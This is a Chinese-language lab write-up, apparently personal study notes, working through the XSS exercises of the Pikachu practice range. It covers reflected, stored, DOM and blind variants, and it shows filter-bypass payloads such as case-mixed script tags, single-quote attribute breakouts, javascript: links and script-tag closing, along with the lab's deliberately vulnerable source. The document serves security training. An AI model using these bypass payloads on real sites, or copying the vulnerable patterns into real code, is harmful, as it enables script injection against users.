pikachu靶场XSS详解
一、反射型XSS
1、get型
源码前后区别
前
<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">输入'kobe'试试-_-</p>
后
<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">who is 123,i don't care!</p>
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256
可以修改数据,且可以绕过前端校验。
输入<script>alert('xss')</script>
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257
出现弹窗
疑问,与sql注入的get注入有什么区别
2、post型
输入账号密码
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257
post型
与get类似
输入<script>alert('xss')</script>
出现弹窗
二、存储型
1、输入123,并刷新
发现,123已经存进留言列表
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258
2、输入特殊字符,观察有无过滤
'<>?"/6666
没有任何过滤
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258
3、构造payload
输入<script>alert('xss')</script>
发现无论刷新多少次,都会出现弹窗
三、DOM型
1、输入123,点击click me,再点击what do you see
1、输入特殊字符,观察有无过滤
'"<>?&6666
2、查看源码
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str, 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
3、构造payload
' onclick=alert("xss")>
what do you see?
<a href='"+#' onclick=alert("xss")>+"'>what do you see?
分为两部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?
在第一部分中 '"+#'闭合,onclick=alert("xss")作为连接,
在第二部分中 +"'>what do you see?作为链接的触发,因此不能根据这个显示来判断有无过滤。
拓展
在第一部分中,只需要前后闭合即可
四、DOM型-x
1、查看源码
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
//alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
定义了一个domxss函数。它$\color{red}{利用 window.location.search 获取浏览器中url的内容}$,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。
2、与之前相同
构造payload
' onclick=alert("xss")>
3、观察payload
发现在url中
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267
即,程序是在url中获得参数内容
五、XSS盲打
1、输入123456,123456。查看后台,查看后台源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291
2、猜想,写恶意的脚本,能否成功执行,
<scritp>
alert("xss")
</scritp>
成功执行
六、xs过滤和绕过
1、测试那些符号或关键词被过滤掉了
输入
'<>?\"/6666
输出
别说这些''<>?\"/6666'的话,不要怕,就是干!
没有过滤符号
输入
<script>alert("xss")</script>
输出
别说这些'>'的话,不要怕,就是干!
猜测,过滤了script,尝试双写,绕过过滤
输入
<scr<script>ipt>alert("xss")</scr</script>ipt>
输出
别说这些'>'的话,不要怕,就是干!
尝试大小写绕过
输入
<sCriPt>alert("xss")</sCRipt>
输出
弹窗,成功绕过
七、htmlspecialchars
1、测试输入
输入
123456
输出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292
输入
'<>?\"/6666
输出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293
字符被实体化了
2、查看源码
判断为反射型xss,且是从url中获得参数
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
3、尝试绕过
输入
'alert(“xss“)'
源码
![[Pasted image 20201219154508.png]]
输入
1' onclick='alert(1)'
成功弹窗
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294
八、href输出
1、测试输入
输入123456,查看网页源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294
并发现123456显示在url上
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294
输入'<>?\"/6666
,查看网页源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294
有些字符被实体化了,仅剩' \ /
2、尝试构造payload
当输出在a标签里的href属性时,可以用js协议来执行js代码
javascript:alert(0)
成功弹窗
九、js输出
1、测试输入
输入123456,
没有输出
查看页面源码
<script>
$ms='123456';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
输入'<>?\"/6666
,查看网页源码
<script>
$ms=''<>?\"/6666';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}a
}
</script>
没有过滤字符
2、尝试构造payload
'test'</script> <script> alert("xss")</script><script>
成功前后闭合,弹窗